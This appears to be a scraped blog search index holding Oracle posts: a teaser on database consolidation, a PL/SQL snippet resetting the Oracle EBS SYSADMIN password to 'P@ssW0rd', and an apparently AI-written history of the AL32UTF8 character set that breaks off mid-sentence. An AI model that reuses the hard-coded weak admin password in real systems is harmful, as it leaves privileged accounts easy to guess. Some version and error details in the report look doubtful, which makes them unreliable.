資訊技術（IT）組織在當今瞬息萬變的商業環境中，面臨著日益嚴苛的挑戰，必須在控管成本、提升業務敏捷性、確保系統持續可用、降低資安風險以及交付卓越效能之間取得平衡 1。為了達成這些目標，資料庫整合（Database Consolidation）已成為全球領先企業的核心策略，旨在優化運算資源的利用率，同時簡化紛繁複雜的維運環境。本報告將深入探討 Oracle 資料庫整合的最佳實踐，範圍涵蓋作業系統虛擬化、資源管理技術、多租戶架構、Oracle Exadata 平台，以及 2026 年最新發布的 Oracle AI 資料庫 26ai 與 Exascale 智能資料架構 1。\n","title":"maa consolidation TW","type":"oracle-database"},{"content":"","date":"March 24, 2026","externalUrl":null,"permalink":"/categories/oracle-ebs/","section":"Categories","summary":"","title":"Oracle EBS","type":"categories"},{"content":" 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 SET SERVEROUTPUT ON DECLARE v_success BOOLEAN; BEGIN v_success := fnd_user_pkg.ChangePassword( username =\u0026gt; \u0026#39;SYSADMIN\u0026#39;, newpassword =\u0026gt; \u0026#39;P@ssW0rd\u0026#39; ); IF v_success THEN DBMS_OUTPUT.PUT_LINE(\u0026#39;Change Success!\u0026#39;); COMMIT; ELSE DBMS_OUTPUT.PUT_LINE(\u0026#39;Change Fail!\u0026#39;); ROLLBACK; END IF; END; / ","date":"March 24, 2026","externalUrl":null,"permalink":"/worknot/oracle-ebs-001/","section":"Worknots","summary":" 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 SET SERVEROUTPUT ON DECLARE v_success BOOLEAN; BEGIN v_success := fnd_user_pkg.ChangePassword( username =\u003e 'SYSADMIN', newpassword =\u003e 'P@ssW0rd' ); IF v_success THEN DBMS_OUTPUT.PUT_LINE('Change Success!'); COMMIT; ELSE DBMS_OUTPUT.PUT_LINE('Change Fail!'); ROLLBACK; END IF; END; / ","title":"Oracle EBS set change Password with SQL","type":"worknot"},{"content":"","date":"March 24, 2026","externalUrl":null,"permalink":"/tags/r12.2/","section":"Tags","summary":"","title":"R12.2","type":"tags"},{"content":"","date":"March 24, 2026","externalUrl":null,"permalink":"/worknot/","section":"Worknots","summary":"","title":"Worknots","type":"worknot"},{"content":"","date":"March 22, 2026","externalUrl":null,"permalink":"/tags/ai-content/","section":"Tags","summary":"","title":"AI Content","type":"tags"},{"content":" 全球化資訊時代的基石：Oracle AL32UTF8 字元集起源、技術演進與架構深度研究報告 # 在當代關聯式資料庫管理系統（RDBMS）的發展史中，資料的表現形式始終受到底層硬體限制與全球資訊交換需求之間的雙重拉鋸。隨着網際網路在二十世紀九十年代中期的爆發式增長，企業對於支援多語言、多文化數據儲存的需求，從原本的區域性解決方案演變為一種全球性的技術指令。在此背景下，Oracle 公司的 AL32UTF8 字元集應運而生。本報告旨在詳盡探討 AL32UTF8 的起源時間、技術動機、架構原理及其在過去二十多年間如何隨着 Unicode 標準的演進而成為當前全球資料庫部署的核心標準。\n早期運算環境與字元編碼的碎片化歷史 # 在探究 AL32UTF8 的起源之前，必須先行理解導致其產生的歷史背景。二十世紀五十年代至七十年代，電腦硬體與作業系統受限於極其有限的記憶體與儲存空間 ^1^。早期的資料輸入主要依賴穿孔卡片，這使得將英數符號壓縮至 6 位元（6-bit）或 8 位元（8-bit）格式成為當時的技術核心 ^1^。\n1963 年美國國家標準學會（ANSI）發布了 ASCII 編碼，這是一種 7 位元的編碼方案，定義了 128 個字元，這在當時僅需處理英文與基本控制符號的環境下已顯足夠 ^1^。然而，隨着運算技術向歐洲及亞洲擴散，ASCII 的侷限性迅速顯現。為了支援不同國家的語言，各硬體廠商與標準組織開發了大量的 8 位元編碼方案（如 ISO-8859 系列），這雖然解決了特定區域的語言顯示問題，卻造成了嚴重的資料孤島與「編碼混亂」現象 ^1^。\n1983 年，數位設備公司（DEC）發明了國家替換字元集（NRCS），試圖在單一終端上切換不同的 8 位元編碼 ^1^。然而，這種方法仍無法在同一個文件或資料庫欄位中同時儲存多國語言。真正促使技術界尋求「通用解決方案」的關鍵，是八十年代末期 Xerox PARC 與 Apple 對統一編碼的研究，這最終導致了 Unicode 聯盟在 1991 年發布了第一版 Unicode 標準 ^1^。\nOracle 資料庫全球化支援（NLS）的初期嘗試 # Oracle 公司作為關聯式資料庫的領導者，在解決多語言問題上一直處於前沿。Oracle 的字元集命名遵循 \u0026lt;語言\u0026gt;\u0026lt;位元數\u0026gt;\u0026lt;編碼\u0026gt; 的嚴格約定，其中前綴「AL」代表「All Languages」（所有語言） ^2^。\n在 Unicode 標準尚處於雛形階段時，Oracle 已開始在資料庫核心中整合相關支援。下表紀錄了 AL32UTF8 出現之前的 Unicode 演進路徑：\n表 1：Oracle 早期 Unicode 字元集演進 # 字元集名稱 首次支援版本 對應 Unicode 編碼特性與侷限 版本\nAL24UTFFSS Oracle 7.2 Unicode 1.1 早期 UTF-FSS 實作；最高支援 3 位元組；現已過時 ^2^。\nUTF8 (早期) Oracle 8.0 Unicode 2.1 初步標準化；仍受限於 3 位元組假設 ^4^。\nUTF8 (中期) Oracle 8.1.7 Unicode 3.0 實作為 CESU-8；僅能處理基本多語言平面（BMP） ^2^。\nUTFE Oracle 8i Unicode 2.1/3.0 專為 EBCDIC 平台（如 IBM Mainframe）設計的 Unicode 支援 ^4^。 # 根據歷史資料顯示，Oracle 從 Oracle 7 開始支援 Unicode 作為資料庫字元集，最初的產品名為 AL24UTFFSS ^2^。其名稱中的「24」代表字元編碼空間在設計上主要考慮了 24 位元的邏輯範圍 ^2^。然而，隨着 Unicode 標準向 2.0 及 3.0 版本過渡，早期編碼方案無法完整對應全球所有字元的需求日益凸顯，這為 AL32UTF8 的誕生埋下了伏筆。\nAL32UTF8 的起源：Oracle 9i 與 Unicode 3.1 的對接 # AL32UTF8 編碼的正式起源可追溯至 2001 年 6 月發布的 Oracle 9i Release 1 (9.0.1) ^5^。這不僅是一個新版本的發布，更是 Oracle 針對 Unicode 演進方向所做出的根本性架構重構。\n突破 3 位元組障礙的必要性 # 在 9i 之前，Oracle 推薦的 Unicode 字元集名稱為「UTF8」。雖然名稱看似標準，但在技術實作上，舊有的 UTF8 僅能處理 Unicode 的「基本多語言平面」（BMP，範圍 U+0000 至 U+FFFF） ^4^。在 BMP 範圍內的字元，使用 UTF-8 編碼時最多佔用 3 個位元組 ^1^。\n然而，隨着 Unicode 委員會在 2001 年發布 Unicode 3.1，情況發生了變化。Unicode 3.1 引入了所謂的「增補字元」（Supplementary Characters），這些字元的碼位超出了 U+FFFF，位於編號為 1 到 14 的增補平面中 ^4^。根據 IANA 的標準 UTF-8 定義，這些字元必須使用 4 個位元組來表示 ^1^。\n舊有的 Oracle 「UTF8」字元集由於其架構限制，無法直接儲存 4 位元組序列。它選擇將增補字元處理為一對「代理對」（Surrogate Pairs），每部分佔用 3 個位元組，總計 6 個位元組 ^4^。這種實作方式後來被稱為 CESU-8，雖然在內部處理上可行，但在與網路傳輸、XML 解析器以及 Java 應用程式（預期 4 位元組 UTF-8）互動時，會導致嚴重的資料不一致與毀損風險 ^1^。\n2001-2002：AL32UTF8 的兩階段確立 # 為了解決上述技術缺陷，Oracle 9i 引入了 AL32UTF8。其「32」在命名法中暗示了對 4 位元組（32 位元）編碼的支持，並與舊有的「24」系列進行區分 ^2^。\n2001 年 6 月：Oracle 9i Release 1 發布，正式納入 AL32UTF8。此時，該字元集初步支援 Unicode 3.0 標準 ^5^。\n2002 年 5 月：Oracle 9i Release 2 (9.2.0) 發布，AL32UTF8 更新以完整支援 Unicode 3.1 標準 ^5^。\n這次更新至關重要，因為 Unicode 3.1 首次分配了 44,946 個增補字元，其中包括對亞洲市場極其重要的 CJK 擴展 B 區漢字 ^12^。AL32UTF8 的誕生標誌著 Oracle 數據庫正式具備了處理人類歷史上所有文字的潛力。\n技術架構解析：AL32UTF8 的編碼機制 # AL32UTF8 是一種變長多位元組編碼，其核心優勢在於對空間的極致利用與對標準的高度遵從。它根據 Unicode 碼位的不同，動態調整每個字元所需的儲存空間 ^1^。\n位元組分配與語言對應 # 在 AL32UTF8 中，字元的儲存長度直接取決於其在 Unicode 碼表中的位置。這種機制確保了與 ASCII 的完全向後兼容性，同時支援複雜的亞洲語言。\n表 2：AL32UTF8 儲存空間分配模型 # 佔用位元組數 碼位範圍 (十六進制) 主要涵蓋語言與符號\n1 位元組 U+0000 - U+007F 基礎 ASCII、英文數字、標點符號 ^1^。\n2 位元組 U+0080 - U+07FF 西歐、拉丁文、希臘文、阿拉伯文、希伯來文等 ^1^。\n3 位元組 U+0800 - U+FFFF 常用中日韓漢字（CJK）、泰文、印度文、歐元符號（€） ^1^。\n4 位元組 U+10000 - U+10FFFF 罕見漢字、歷史遺留文字、現代表情符號 (Emoji) ^1^。 # 這種分層儲存機制意味着，對於絕大多數僅包含英文的系統，遷移到 AL32UTF8 不會導致儲存空間的增加（1:1 比例），而對於德文或法文系統，儲存需求可能略微增加，對於中日韓系統，則每個字元固定佔用 3 或 4 位元組 ^1^。\n關鍵差異：AL32UTF8 與舊版 UTF8 的對抗 # 儘管許多開發者傾向於交替使用這兩個學名，但在資料庫底層，它們是截然不同的實體。這種「命名上的混淆」曾導致無數升級過程中的災難。\n表 3：AL32UTF8 與 UTF8 字元集深度對比 # 比較項目 AL32UTF8 (標準 UTF8 (舊版 CESU-8) UTF-8)\n標準遵從度 符合 IANA 註冊與 本質上是 CESU-8，非標準 XML/Java 預期 ^1^。 UTF-8 ^4^。\n增補字元儲存 單一字元 4 位元組 ^1^。 代理對模式，共佔 6 位元組 ^4^。\n未來升級能力 隨 Oracle 版本持續更新 永久停留在 Unicode 3.0 Unicode 標準 ^4^。 版本 ^2^。\n建議用途 所有新部署數據庫的首選 僅用於舊版應用兼容（如 ^1^。 Forms 6i） ^2^。 # 根據 Oracle 全球化專家 Sergiusz Wolicki 的觀點，舊版 UTF8 之所以被保留，是為了維護那些無法處理超過 3 位元組寬度的老舊應用程式的向後兼容性 ^30^。然而，在現代 Web 環境中，使用舊版 UTF8 處理 XML 或 URL 位址時，可能會因為 4 位元組序列被解析為無效位元組而導致安全漏洞或系統崩潰 ^4^。\n隨版本演進的 Unicode 同步歷程 # AL32UTF8 自 2001 年誕生以來，並非一成不變。Oracle 的工程團隊在每一次主版本發布中，都會將 AL32UTF8 的字元庫與排序邏輯與最新的 Unicode 標準進行同步 ^4^。\n版本演進時間軸 # Oracle 10g Release 2：將 AL32UTF8 的對應標準升級至 Unicode 4.0 ^2^。這在當時對於支援快速變化的電子商務與全球化應用至關重要。\nOracle 11g：邁入 Unicode 5.0 時代 ^4^。在此階段，Oracle 進一步優化了多語言排序（Linguistic Sorting）的性能，使得 AL32UTF8 不僅能存數據，還能精確處理不同國家的排序規則。\nOracle 12c Release 2 (12.2)：這是一個分水嶺。Oracle 決定將 AL32UTF8 設為 OUI 與 DBCA 的預設字元集 ^1^。這意味著除非管理員手動更改，否則所有新創建的 Oracle 數據庫都將自動採用此標準。\nOracle 23c / 23ai：最新版本已達到 Unicode 15.0 遵從度 ^5^。隨着 AI 驅動的數據庫功能引入，AL32UTF8 的通用性確保了大型語言模型（LLM）處理的多語言語料能被精確、無損地儲存。\n亞洲市場的特殊性：CJK 擴展區與 AL32UTF8 # 對於大中華區（中港台）的數據處理，AL32UTF8 的意義遠超其技術指標。二十世紀九十年代末，香港政府發展了 HKSCS 字元集，中國大陸推出了 GB18030 標準，這些標準中包含的大量特殊漢字與人名，在傳統的 16 位元（UCS-2）或 3 位元組 UTF-8 空間中無法容納 ^13^。\n在台灣與香港的法律及金融系統中，由於涉及大量罕見姓氏與專有名詞，AL32UTF8 對 Unicode 3.1 及其後續擴展區的支持成為了硬性需求。若不採用 AL32UTF8，系統在遇到這些「增補字元」時會顯示為反轉的問號（?）或「豆腐塊」空格，進而導致法律文件失效或金融交易錯誤 ^28^。因此，在 2001 年後，亞太地區的大型企業紛紛將遷移至 AL32UTF8 作為資訊基礎建設的核心任務。\n字元集遷移：技術挑戰與工程實務 # 當一個企業決定從舊有的單位元組編碼（如 WE8MSWIN1252）或區域性多位元組編碼（如 ZHS16GBK）遷移到 AL32UTF8 時，會面臨複雜的工程挑戰。這些挑戰並非來自資料庫本身，而是來自於「位元組擴張」效應。\n長度語義（Length Semantics）的轉變 # 這是遷移過程中最容易被忽視的陷阱。在單位元組環境下，VARCHAR2(10) 代表 10 個位元組，也恰好能存 10 個字元 ^23^。然而，在 AL32UTF8 下：\n10 個中文漢字需要 30 個位元組。\n如果定義仍為 VARCHAR2(10)，系統會報錯：ORA-01401（插入值過大）。\n為了解決這個問題，Oracle 引入了 字元長度語義。管理員可以通過設置 NLS_LENGTH_SEMANTICS=CHAR 參數，或在定義表格時明確指定 VARCHAR2(10 CHAR) ^25^。這會指示 Oracle 內部預留足夠的空間（最多 40 位元組），以確保 10 個字元不論其佔用多少位元組都能被安全儲存。\n表 4：遷移至 AL32UTF8 的主要技術限制 # 限制項目 具體影響 建議解決方案\n對象名稱 30 表名、欄位名長度受限於 30 在遷移前使用字元集掃描儀 (CSSCAN) 節點限制 位元組。多位元組字元會縮短可命名長度 ^23^。 檢查並重新命名受影響對象 ^23^。\n資料截斷風險 欄位實際容量不足以應付編碼膨脹 ^24^。 擴大欄位長度定義，或採用 CHAR 語義 ^25^。\n用戶名與密碼認證 非 ASCII 用戶名在認證時可能因位元組轉換失敗 ^23^。 Oracle 建議用戶名與密碼應儘量使用 ASCII 字符，或遷移後重置認證資訊 ^24^。\n索引長度限制 複合索引的總長度受限。編碼膨脹可能導致索引創建失敗 審查索引定義，必要時縮減索引欄位或改用虛擬列。 ^35^。 # 現代遷移工具：DMU 的角色 # 過去，DBA 依賴 CSALTER 腳本進行「快速切換」，但這已被證明是極其危險的操作，且在 10gR1 之後已正式失去支援 ^9^。當前 Oracle 唯一推薦的遷移方式是使用 Database Migration Assistant for Unicode (DMU) ^24^。\nDMU 提供了一個邏輯工作流，能夠掃描現有資料、識別潛在的毀損或截斷風險，並在停機窗口內完成「原地轉換」（In-place conversion）。這種方式相比於傳統的「匯出/匯入」大幅縮短了停機時間，並提高了資料完整性的保證。\n效能與儲存的取捨分析 # 儘管 AL32UTF8 提供了無與倫比的靈活性，但作為一名專業的架構師，必須正視其帶來的副作用。AL32UTF8 與單位元組字元集相比，在效能與儲存上存在明顯的代價。\n儲存空間的膨脹 # 對於儲存大量非 ASCII 數據的系統，AL32UTF8 的儲存成本較高。例如，一份純中文文件在 ZHS16GBK 中每個字元佔用 2 位元組，而在 AL32UTF8 中則為 3 位元組，這意味着磁碟空間與緩衝緩存（Buffer Cache）的需求將增加 50% ^1^。\n運算開銷 # 由於 AL32UTF8 是變長編碼，資料庫引擎在執行字串函數（如 LENGTH、SUBSTR 或 INSTR）時，無法再像單位元組編碼那樣通過位址偏移（Offset）直接定位。系統必須從字串開頭逐字掃描位元組序列，判斷其開頭位元組以計算字元邊界 ^1^。這在處理海量文字檢索時，會帶來額外的 CPU 消耗 ^20^。\n解決方案：國家字元集（AL16UTF16） # 為了平衡儲存效率，Oracle 9i 推出 AL32UTF8 的同時，也建議在特定場景下使用 AL16UTF16 作為「國家字元集」 ^1^。\nAL16UTF16 採用 16 位元固定長度（或代理對），對於大多數亞洲漢字，它僅需 2 位元組，而 AL32UTF8 需要 3 位元組。對於以亞洲語言為主、且不需要頻繁進行網頁編碼轉換的後端運算系統，將資料儲存在 NVARCHAR2 欄位中（對應 AL16UTF16）往往能獲得更好的空間效能 ^1^。\n數據完整性與安全性的戰略意義 # AL32UTF8 的起源與推廣，本質上也是資料庫安全策略的一部分。非標準的編碼處理常是駭客發動跨站腳本攻擊（XSS）或 SQL 注入的溫床 ^4^。\n在處理網頁提交的 XML 數據時，如果資料庫使用的是舊版 UTF8 (CESU-8)，而 Web 伺服器使用的是標準 UTF-8，那麼非法或惡意構造的位元組序列可能會繞過 Web 層的過濾機制，並在進入資料庫時被錯誤解析，從而導致資料庫邏輯被篡改 ^4^。AL32UTF8 作為對標準 UTF-8 的嚴格實作，確保了從瀏覽器、應用伺服器到資料庫底層的「端到端編碼一致性」，這對於現代金融與電子政務系統來說，是不可逾越的安全底線。\n未來展望：AI 時代的 AL32UTF8 # 進入 2020 年代，隨着 AI 數據庫（如 Oracle 23ai）的出現，AL32UTF8 的地位被進一步鞏固。向量搜索（Vector Search）與多語言嵌入（Embeddings）模型依賴於對不同語言語義的精確理解。AL32UTF8 的全語義涵蓋能力，使得數據庫能夠作為 AI 模型的統一存儲層，處理從 Emoji 到古籍善本的所有數位資訊 ^5^。\n此外，Oracle 在最新版本中優化了多語言排序演算法（Unicode Collation Algorithm），這使得 AL32UTF8 在執行涉及多國語言混合排序的複雜查詢時，效能得到了顯著提升。可以預見，在未來的二十年內，AL32UTF8 仍將是關聯式資料庫領域無可取代的全球標準。\n結論 # 總結而言，AL32UTF8 編碼起源於 2001 年 6 月的 Oracle 9i Release 1，並在 2002 年 5 月的 Release 2 中達到完整支援 Unicode 3.1 的成熟階段 ^5^。它的出現是技術演進的必然結果，成功解決了舊有 UTF8 編碼無法處理 4 位元組增補字元的致命缺陷，並為全球化網際網路應用提供了堅實的基礎架構。\n從 9i 的初步引入，到 12.2 成為預設標準，再到 23c 對 Unicode 15.0 的完美對應，AL32UTF8 的歷史就是一部 Oracle 資料庫與全球資訊交換標準同步發展的微縮史。對於現代企業而言，採用 AL32UTF8 不僅是為了支援多種語言，更是為了確保資料的標準性、安全性以及在未來 AI 時代的兼容性。在當前的技術生態中，AL32UTF8 已不僅僅是一個字元集選項，它是全球數據流動的通用貨幣，是資訊無國界化的技術保證。\n引用的著作 # Why the Database Character Set Matters | timesten - Oracle Blogs, 檢索日期：3月 19, 2026， [https://blogs.oracle.com/timesten/why-databasecharacterset-matters]{.underline}\n4 About Globalization and Multibyte Support, 檢索日期：3月 19, 2026， [https://docs.oracle.com/cd/E12530_01/oam.1014/b32410/utf8intr.htm]{.underline}\n2 Choosing a Character Set - Database - Oracle Help Center, 檢索日期：3月 19, 2026， [https://docs.oracle.com/en/database/oracle/oracle-database/18/nlspg/choosing-character-set.html]{.underline}\n6 Supporting Multilingual Databases with Unicode - Oracle Help Center, 檢索日期：3月 19, 2026， [https://docs.oracle.com/en/database/oracle/oracle-database/21/nlspg/supporting-multilingual-databases-with-unicode.html]{.underline}\n6 Supporting Multilingual Databases with Unicode - Oracle Help Center, 檢索日期：3月 19, 2026， [https://docs.oracle.com/en/database/oracle/oracle-database/23/nlspg/supporting-multilingual-databases-with-unicode.html]{.underline}\n6 Supporting Multilingual Databases with Unicode, 檢索日期：3月 19, 2026， [https://docs.oracle.com/cd/B13789_01/server.101/b10749/ch6unico.htm]{.underline}\n6 Supporting Multilingual Databases with Unicode, 檢索日期：3月 19, 2026， [http://www.asktheway.org/official-documents/oracle/E11882_01/server.112/e10729/ch6unicode.htm]{.underline}\nHow can I tell if my Oracle system is set to support Unicode or multibyte characters? - Stack Overflow, 檢索日期：3月 19, 2026， [https://stackoverflow.com/questions/9703421/how-can-i-tell-if-my-oracle-system-is-set-to-support-unicode-or-multibyte-charac/47363013]{.underline}\nHow can I tell if my Oracle system is set to support Unicode or multibyte characters?, 檢索日期：3月 19, 2026， [https://stackoverflow.com/questions/9703421/how-can-i-tell-if-my-oracle-system-is-set-to-support-unicode-or-multibyte-charac]{.underline}\nOracle 9i, 檢索日期：3月 19, 2026， [https://www.orafaq.com/wiki/Oracle_9i]{.underline}\nRDBMS 8/8i/9i/10g Timeline (History) - Oracle Forums, 檢索日期：3月 19, 2026， [https://forums.oracle.com/ords/apexds/post/rdbms-8-8i-9i-10g-timeline-history-8581]{.underline}\nSupporting Multilingual Databases with Unicode - Oracle, 檢索日期：3月 19, 2026， [https://docs.oracle.com/cd/A97385_01/server.920/a96529/ch5.htm]{.underline}\nSupplementary Characters in the Java Platform - Oracle, 檢索日期：3月 19, 2026， [https://www.oracle.com/technical-resources/articles/javase/supplementary.html]{.underline}\nUTF8 \u0026amp; AL32UTF8 - Hewlett Packard Enterprise Community, 檢索日期：3月 19, 2026， [https://community.hpe.com/t5/operating-system-hp-ux/utf8-amp-al32utf8/td-p/3610206]{.underline}\nGlobalization support in Oracle | My coding journal, 檢索日期：3月 19, 2026， [https://vivekrathod.com/2013/01/29/globalization-support-in-oracle.html]{.underline}\nUAX #27: Unicode 3.1, 檢索日期：3月 19, 2026， [http://www.unicode.org/reports/tr27/tr27-3.html]{.underline}\nDifference between AL32UTF8 and UTF8 | Oracle \u0026amp; Unix - WordPress.com, 檢索日期：3月 19, 2026， [https://oracleunix.wordpress.com/2005/11/17/difference-between-al32utf8-and-utf8/]{.underline}\nDifference between AL32UTF8 and UTF8 - Oracle Forums, 檢索日期：3月 19, 2026， [https://forums.oracle.com/ords/apexds/post/difference-between-al32utf8-and-utf8-9382]{.underline}\nCharacter Set Support - Oracle Help Center, 檢索日期：3月 19, 2026， [https://docs.oracle.com/en/database/oracle/oracle-database/26/sqlrf/Character-Set-Support.html]{.underline}\n2 Creating and Configuring an Oracle Database, 檢索日期：3月 19, 2026， [https://docs.oracle.com/en/database/oracle/oracle-database/18/admin/creating-and-configuring-an-oracle-database.html]{.underline}\nManually Creating an Oracle Database, 檢索日期：3月 19, 2026， [https://www.filibeto.org/sun/lib/nonsun/oracle/11.1.0.6.0/B28359_01/server.111/b28310/create002.htm]{.underline}\nOracle9i Database Migration - Oracle Help Center, 檢索日期：3月 19, 2026， [https://docs.oracle.com/cd/A97385_01/server.920/a96530.pdf]{.underline}\n11 Character Set Migration - Oracle, 檢索日期：3月 19, 2026， [https://docs.oracle.com/cd/B13789_01/server.101/b10749/ch11char.htm]{.underline}\n11 Character Set Migration - Database - Oracle Help Center, 檢索日期：3月 19, 2026， [https://docs.oracle.com/en/database/oracle/oracle-database/23/nlspg/character-set-migration.html]{.underline}\noracle database - Character set encodings and storage size factors - Stack Overflow, 檢索日期：3月 19, 2026， [https://stackoverflow.com/questions/14991238/character-set-encodings-and-storage-size-factors]{.underline}\nDatabase Globalization Support Guide - Oracle, 檢索日期：3月 19, 2026， [https://docs.oracle.com/en/database/oracle/oracle-database/21/nlspg/database-globalization-support-guide.pdf]{.underline}\nUsing Different Languages in Oracle - Part 1 - GotoDBA, 檢索日期：3月 19, 2026， [https://gotodba.com/2016/08/30/using-different-languages-in-oracle-part-1/]{.underline}\n[转载]Oracle Character set \u0026ndash; Everything a New oracle DBA needs to know - 博客园, 檢索日期：3月 19, 2026， [https://www.cnblogs.com/fangwenyu/archive/2012/02/03/2337448.html]{.underline}\nDatabase Globalization Support Guide - Oracle Help Center, 檢索日期：3月 19, 2026， [https://docs.oracle.com/en/database/oracle/oracle-database/18/nlspg/database-globalization-support-guide.pdf]{.underline}\nDB wrong character set following control file re-creation. How to correct it ? - Oracle Forums, 檢索日期：3月 19, 2026， [https://forums.oracle.com/ords/apexds/post/db-wrong-character-set-following-control-file-re-creation-h-8757]{.underline}\nDisadvantages of setting the whole DB charset to Unicode vs some NVARCHAR2 in Oracle DB? - Stack Overflow, 檢索日期：3月 19, 2026， [https://stackoverflow.com/questions/12801207/disadvantages-of-setting-the-whole-db-charset-to-unicode-vs-some-nvarchar2-in-or]{.underline}\nNLS_LENGTH_SEMANTICS - Oracle Forums, 檢索日期：3月 19, 2026， [https://forums.oracle.com/ords/apexds/post/nls-length-semantics-6994]{.underline}\nChoose a Character Set for Autonomous AI Database - Oracle Help Center, 檢索日期：3月 19, 2026， [https://docs.oracle.com/en/cloud/paas/autonomous-database/serverless/adbsb/autonomous-character-set-selection.html]{.underline}\n5 Globalization Support, 檢索日期：3月 19, 2026， [http://luna-ext.di.fc.ul.pt/oracle11g/timesten.112/e13065/globalization.htm]{.underline}\n5 Advanced Topics in the DMU - Oracle Help Center, 檢索日期：3月 19, 2026， [https://docs.oracle.com/cd/E26101_01/doc/doc.11/e26097/ch5advanced.htm]{.underline}\nCharacter Set Migration Best Practices - Oracle, 檢索日期：3月 19, 2026， [https://www.oracle.com/docs/tech/database/mwp.pdf]{.underline}\nMigrating to Unicode - W3C, 檢索日期：3月 19, 2026， [https://www.w3.org/International/articles/unicode-migration/]{.underline}\nDatabase and client WE8ISO8859P1 with windows characters to migrate at AL32UTF8, 檢索日期：3月 19, 2026， [https://forums.oracle.com/ords/apexds/post/database-and-client-we8iso8859p1-with-windows-characters-to-4045]{.underline}\nInverted question marks - Oracle Forums, 檢索日期：3月 19, 2026， [https://forums.oracle.com/ords/apexds/post/inverted-question-marks-7207]{.underline}\nMigration to Unicode Datatypes for Multilingual Databases and Applications in Oracle9i, 檢索日期：3月 19, 2026， [https://www.oracle.com/technetwork/products/globalization/nchar-migration-60.pdf]{.underline}\nNational Character Set | Oracle 9i Fundamentals I Exam Cram 2 - Flylib.com, 檢索日期：3月 19, 2026， [https://flylib.com/books/en/3.485.1.90/1/]{.underline}\nUTF-8 - Wikipedia, 檢索日期：3月 19, 2026， [https://en.wikipedia.org/wiki/UTF-8]{.underline}\nOracle recommends AL32UTF8 but installs WE8MSWIN1252, 檢索日期：3月 19, 2026， [https://forums.oracle.com/ords/apexds/post/oracle-recommends-al32utf8-but-installs-we8mswin1252-8661]{.underline}\n","date":"March 22, 2026","externalUrl":null,"permalink":"/oracle-database/oracle-encoding-history-al32utf8/","section":"Oracle-Databases","summary":"全球化資訊時代的基石：Oracle AL32UTF8 字元集起源、技術演進與架構深度研究報告 # 在當代關聯式資料庫管理系統（RDBMS）的發展史中，資料的表現形式始終受到底層硬體限制與全球資訊交換需求之間的雙重拉鋸。隨着網際網路在二十世紀九十年代中期的爆發式增長，企業對於支援多語言、多文化數據儲存的需求，從原本的區域性解決方案演變為一種全球性的技術指令。在此背景下，Oracle 公司的 AL32UTF8 字元集應運而生。本報告旨在詳盡探討 AL32UTF8 的起源時間、技術動機、架構原理及其在過去二十多年間如何隨着 Unicode 標準的演進而成為當前全球資料庫部署的核心標準。\n","title":"AL32UTF8_編碼起源與發展","type":"oracle-database"},{"content":"","date":"March 22, 2026","externalUrl":null,"permalink":"/tags/encoding/","section":"Tags","summary":"","title":"Encoding","type":"tags"},{"content":" The Cornerstone of the Globalized Information Era: A Deep Research Report on the Origins, Technical Evolution, and Architecture of Oracle AL32UTF8 # In the history of Relational Database Management Systems (RDBMS), the representation of data has always been caught between the limitations of hardware and the demands of global information exchange. With the explosion of the Internet in the mid-1990s, the need for enterprises to support multi-language and multi-cultural data storage evolved from a regional solution into a global technical mandate. In this context, Oracle's AL32UTF8 character set was born. This report explores the origins, technical motivations, architectural principles, and evolution of AL32UTF8 alongside Unicode standards over the past two decades.\nThe Fragmented History of Early Computing and Character Encoding # Before exploring the origins of AL32UTF8, it is essential to understand the historical context. From the 1950s to the 1970s, computer hardware and operating systems were limited by extremely scarce memory and storage. Early data entry relied on punched cards, making the compression of alphanumeric symbols into 6-bit or 8-bit formats a core technical focus.\nIn 1963, the American National Standards Institute (ANSI) released ASCII, a 7-bit encoding defining 128 characters, which was sufficient for environments handling English and basic control symbols. However, as computing expanded to Europe and Asia, the limitations of ASCII became evident. To support different languages, various 8-bit encoding schemes (such as the ISO-8859 series) were developed. While these solved regional display issues, they created data silos and \u0026quot;encoding chaos\u0026quot;.\nIn 1983, Digital Equipment Corporation (DEC) invented the National Replacement Character Set (NRCS) to switch between different 8-bit encodings on a single terminal.^1^ However, this still failed to allow the simultaneous storage of multiple languages in a single document or database field. The real catalyst for a \u0026quot;universal solution\u0026quot; was the research conducted by Xerox PARC and Apple in the late 1980s, which led the Unicode Consortium to release Version 1.0 of the Unicode Standard in 1991.\nEarly Attempts at Oracle Globalization Support (NLS) # As a leader in RDBMS, Oracle has always been at the forefront of solving multi-language issues. Oracle's character set naming follows a strict convention: \u0026lt;Language\u0026gt;\u0026lt;Bit count\u0026gt;\u0026lt;Encoding\u0026gt;, where the prefix \u0026quot;AL\u0026quot; stands for \u0026quot;All Languages\u0026quot;.^2^\nEven when the Unicode standard was in its infancy, Oracle began integrating support into its database core. The following table records the evolution of Oracle Unicode character sets prior to the emergence of AL32UTF8:\nTable 1: Evolution of Early Oracle Unicode Character Sets # Character Set First Supported Unicode Encoding Version Version Features and Limitations\nAL24UTFFSS Oracle 7.2 Unicode 1.1 Early UTF-FSS implementation; max 3 bytes; now obsolete.^2^\nUTF8 (Early) Oracle 8.0 Unicode 2.1 Initial standardization; still limited by the 3-byte assumption.^4^\nUTF8 (Mid) Oracle 8.1.7 Unicode 3.0 Implemented as CESU-8; handles only the Basic Multilingual Plane (BMP).^2^\nUTFE Oracle 8i Unicode 2.1/3.0 Designed specifically for EBCDIC platforms (e.g., IBM Mainframes).^4^ # Historical records show that Oracle began supporting Unicode as a database character set starting with Oracle 7, originally named AL24UTFFSS.^2^ The \u0026quot;24\u0026quot; in the name suggests that the character encoding space was primarily designed for a 24-bit logical range. However, as the Unicode standard transitioned to versions 2.0 and 3.0, it became clear that early encoding schemes could not fully map the global need for all characters, setting the stage for AL32UTF8.\nThe Origin of AL32UTF8: Oracle 9i and Unicode 3.1 # The official origin of the AL32UTF8 encoding can be traced back to Oracle 9i Release 1 (9.0.1), released in June 2001.^6^ This was not just a new version release, but a fundamental architectural restructuring by Oracle to align with the evolution of Unicode.\nThe Necessity of Breaking the 3-Byte Barrier # Before 9i, Oracle's recommended Unicode character set was \u0026quot;UTF8.\u0026quot; While the name appeared standard, the legacy UTF8 implementation could only handle the Unicode \u0026quot;Basic Multilingual Plane\u0026quot; (BMP, range U+0000 to U+FFFF).^4^ Characters within the BMP require at most 3 bytes when using UTF-8 encoding.^1^\nHowever, the situation changed in 2001 when the Unicode Consortium released Unicode 3.1. This version introduced \u0026quot;Supplementary Characters,\u0026quot; which have code points beyond U+FFFF, located in supplementary planes 1 through 14.^4^ According to the IANA standard for UTF-8, these characters must be represented using 